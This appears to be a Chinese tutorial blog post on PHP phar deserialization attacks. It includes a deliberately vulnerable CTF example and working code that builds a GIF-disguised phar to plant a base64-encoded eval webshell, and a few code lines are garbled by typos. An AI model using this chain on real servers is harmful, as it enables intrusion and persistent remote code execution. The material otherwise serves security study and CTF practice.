phar反序列化漏洞简述
Posted 风清队网络安全专家
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了phar反序列化漏洞简述相关的知识,希望对你有一定的参考价值。
在美国的BlackHat会议上来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,即phar反序列化漏洞利用,这种攻击方式可以在不使用php函数unserialize()的前提下,引起严重的php对象的反序列化漏洞。
首先我们通过PHP手册了解phar的文件:phar:// 数据流包装器自 PHP5.3.0 起开始有效,行为受php.ini 中phar.readonly等参数设置影响;比如默认情况下phar.readonly参数为1,禁止生成phar格式文件,所以如果要生成phar文件则需要将phar.readonly参数设置为0或off;phar归档文件有三种格式:tar归档、zip归档、phar归档,前两种执行需要php安装Phar 扩展支持,用的也比较少,所以主要以phar归档格式为主。根据php手册中提到的phar文件格式描述:
phar的文件stub必须包含<?php __HALT_COMPILER();
经过测试可以发现可以在stub之前增加任意的字符,比如增加jpg的头文件字符来伪装,这样可以绕过一些文件格式的检测。
下面根据PHP手册查下如何向phar文件中增加内容
可见addFromString是以字符串的形式添加一个文件到 phar 档案,根据之前所述setMetadata和Sets phar archive meta-data会序列化meta-data数据,将生成的文件通过16进制查看,可以找到序列化数据:
<?php
@set_time_limit(0);
@ini_set('phar.readonly','0');
var_dump(ini_set('phar.readonly','0'));
var_dump(ini_get('phar.readonly'));
@unlink("phartest.phar");
$ser="phpinfo()";
$phar = newPhar('phartest.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();? >');
$phar->setMetadata($ser);//将自定义meta-data存入manifest,此处的数据将被序列化存储
$phar->addFromString('test.txt','text');
$phar->stopBuffering();
根据Sam Thomas的发现,phar中可以存储序列化后的数据,且会被一些函数触发反序列化,这些文件操作函数能反序列化关键在于使用了 phar_parse_url,之后有调用到 phar_var_unserialize;这些可以触发反序列化操作的函数有:
file_exists,file_get_contents,file_put_contents,file,fopen,readfile,copy,unlink,stat,is_file,
fileatime,filectime,filegroup,fileinode,filemtime,fileowner,fileperms,is_dir,is_executable,is_link,
is_readable,is_writable,is_writeable(同is_writable),is_uploaded_file,parse_ini_file等。
测试函数是否能触发反序列化可以使用以下代码:
create_phar.php
<?php
@ini_set('display_errors', '1');
@set_time_limit(0);
@ini_set('phar.readonly', '0');
var_dump(ini_set('phar.readonly', '0'));
var_dump(ini_get('phar.readonly'));
@unlink("phartest.phar");
class ser
{
var $ha = 'echo "ok";';
function __destruct()
{
eval($this->ha);
}
}
$ser_class=new ser();
$phar = new Phar('phartest.phar');
$phar->startBuffering();
$phar->setStub('<?php__HALT_COMPILER(); ? >');
$phar->setMetadata($ser_class); //将自定义meta-data存入manifest,此处的数据将被序列化存储
$phar->addFromString('test.txt','text');
$phar->stopBuffering();
?>
触发phar.php
<?php
//把要进行反序列化的对象放在此处
class ser
{
var $ha = 'echo "ok";';
function __destruct()
{
eval($this->ha);
}
}
$ka=new ser();
$ka->ha='echo php_uname();';
$myfile='phartest.phar';
echo 'test is_uploaded_file()';
var_dump(is_uploaded_file($myfile));
比如测试is_uploaded_file() 函数:
可见is_uploaded_file() 函数成功触发了phar反序列化漏洞。
综上所述成功利用此漏洞必须基本以下条件:
1:存在文件上传点
2:存在调用文件函数参数的url,此文件参数可控,且对调用的文件参数没有过滤 : 、phar 和 字符。
3:有可利用的魔术方法可被作为pop利用链。
下面做个简单的例子:
某个ctf试题:
index.php
<?php
show_source('index.php');
class foo
{
var $ha = 'echo "ok";';
function __destruct()
{
eval($this->ha);
}
}
$ka = $_GET['file'];
echo $ka;
//file_exists($ka);
var_dump(file_exists($ka));
upload.php
<form action=""enctype="multipart/form-data" method="post"
name="upload">file:<inputtype="file" name="file" /><br>
<input type="submit"value="upload" /></form>
<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg","png");
@$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] =="image/gif") || (@$_FILES["file"]["type"] =="image/jpeg")
|| (@$_FILES["file"]["type"] =="image/jpg") || (@$_FILES["file"]["type"] =="image/pjpeg")
|| (@$_FILES["file"]["type"] =="image/x-png") || (@$_FILES["file"]["type"] =="image/png"))
&& (@$_FILES["file"]["size"] < 102400)&& in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" .$_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
通过以上代码可以发现:
1:存在上传点,且没有过滤phar://
2:存在魔术方法 foo和__destruct() ,且有eval函数
3:存在文件函数file_exists()
所以可以利用phar反序列化写一个webshell(其他的rce也是可以的);
A:生成phar文件:
<?php
//把要进行反序列化的对象放在此处
class foo
{
var $ha = 'echo "ok";';
function __destruct()
{
eval($this->ha);
}
}
//生成对应可被利用的对象
$o = new foo();
$o->ha="file_put_contents(pathinfo(__FILE__,PATHINFO_DIRNAME).'/myshell.php',base64_decode('PD9waHAgQGV2YWwoJF9SRVFVRVNUWzg4XSk7'),FILE_APPEND);echo1;";
@unlink("pharfile.phar");
$phar = new Phar("pharfile.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt","test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo"finished!";
?>
B:上传生成的phar文件
将pharfile.phar重命名为pharfile.gif上传,记下上传后的文件路径;
C:传递文件名,触发phar反序列化获得webshell
直接在index.php目录下生成myshell.php
最后给出一些phar反序列化利用ctf试题供大家参考;
1:Defcamp(DCTF) 2018-Vulturephar反序列化攻击
https://www.codercto.com/a/29207.html
2:DiscuzX 3.4 Phar反序列化漏洞
https://cloud.tencent.com/developer/news/381086
3:护网杯 easy_lavarel
题目doocker环境https://github.com/sco4x0/huwangbei2018_easy_laravel
4:2018SWPUCTF-Web SimplePHP
https://xz.aliyun.com/t/3656
以上是关于phar反序列化漏洞简述的主要内容,如果未能解决你的问题,请参考以下文章